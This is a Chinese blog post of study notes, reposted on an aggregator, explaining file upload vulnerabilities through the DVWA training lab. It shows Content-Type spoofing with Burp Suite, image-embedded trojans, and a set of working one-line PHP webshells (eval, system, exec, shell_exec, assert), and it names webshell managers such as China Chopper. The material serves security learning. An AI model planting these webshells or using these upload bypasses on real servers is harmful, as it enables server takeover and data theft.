IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 《学习笔记114》—— # 文件上传漏洞 # 基于OWASP的文件上传漏洞 -> 正文阅读

[PHP知识库]《学习笔记114》—— # 文件上传漏洞 # 基于OWASP的文件上传漏洞

文件上传漏洞介绍:

正常的文件上传一般指图片、视频、文档等,web应用收集之后放入后台或者数据库存储,需要的时候再调用返回。
如果存在文件上传漏洞,黑客可以将恶意文件,比如php、jsp、asp等脚本文件上传到服务器,绕过web应用程序执行,效果相当于黑客直接拿到服务器的webshell,一旦黑客拿到webshell,则可以获取web应用的数据,删除web文件,甚至可以通过提权,进一步拿下整个服务器,还可以进行内网渗透。

文件上传漏洞和SQL注入漏洞攻击对象的区别:

  • SQL注入漏洞攻击对象是数据库
  • 文件上传漏洞主要攻击服务器

1. OWASP的文件上传漏洞

<使用OWASP的dvwa子页面中的Upload功能实现文件上传漏洞>
在这里插入图片描述
在这里插入图片描述

DVWA Security中可以修改安全级别

1.1 安全级别:low

安全级别为low下的后端代码查看。可见并为作任何的过滤,可以随意进行攻击。
在这里插入图片描述
新建post.php脚本文件如下。

<?php 
echo phpinfo()
?>

将该脚本文件上传。
在这里插入图片描述

得到url,将其替换掉原网址的#,得到完整url链接:http://192.168.192.129/dvwa/hackable/uploads/post.php
即可获取后端的php信息。

1.2 安全级别:medium

安全级别为medium的在后端做了文件类型和文件大小的限制。
在这里插入图片描述
因此直接上传是不行的,我们需要用拦截工具拦截request请求,这里使用burpsuite拦截,拦截到的post请求中将Content-Type: application/octet-stream
修改为Content-Type: image/jpeg。其余步骤与安全级别为low一致。

1.3 安全级别:high

安全级别为high的进行了文件名后缀限制以及文件大小限制。
在这里插入图片描述
因此适用于low和medium的方法在这里不生效。因此需要在上传的文件中附带木马。这里使用edjpgcom软件生成一句话木马,然后上传,获得url,最后使用中国菜刀软件解析url。

2. webshell

webshell介绍:

web后端的脚本语言一般情况下具备系统相关函数,用这些系统函数可以执行操作系统命令。如果攻击者将这些系统函数写入文件,并结合文件上传漏洞上传给web服务器,这个行为我们就称为网站挂马
这些包含了系统函数的文件我们就称为webshell文件,根据功能级别分为大马小马,例如一句话木马( 整个shell代码量只有一行 )就属于小马。

常见的php系统函数有evalsystemexecshell_execassert。下面就这几个函数进行示例。

2.1 eval函数

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行。该函数也是国产知名shell管理工具中国菜刀使用的。

注意:eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)。
示例如下。

<?php eval($_POST['pass']); ?>
<?php eval($_REQUEST['pass']); ?>

2.2 system函数

system函数可以实现在php中执行shell命令。

<?php system($_POST['cmd']); ?>
<?php system($_REQUEST['cmd']); ?>

2.3 exec函数

exec函数用于执行系统命令。

<?php exec($_POST['cmd']); ?>
<?php exec($_REQUEST['cmd']); ?>

2.4 shell_exec函数

shell_exec函数用来执行系统命令。

<?php shell_exec($_POST['cmd']); ?>
<?php shell_exec($_REQUEST['cmd']); ?>

2.5 assert函数

assert函数是把字符串当作php代码来执行的。

<?php assert($_POST['cmd']); ?>
<?php assert($_REQUEST['cmd']); ?>

3. webshell管理工具

常见的webshell管理工具有:中国菜刀、C刀、寄生虫XISE、k8飞刀、weevely(Linux系统下)等。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-18 12:29:47  更:2021-08-18 12:31:03 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 10:42:50-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码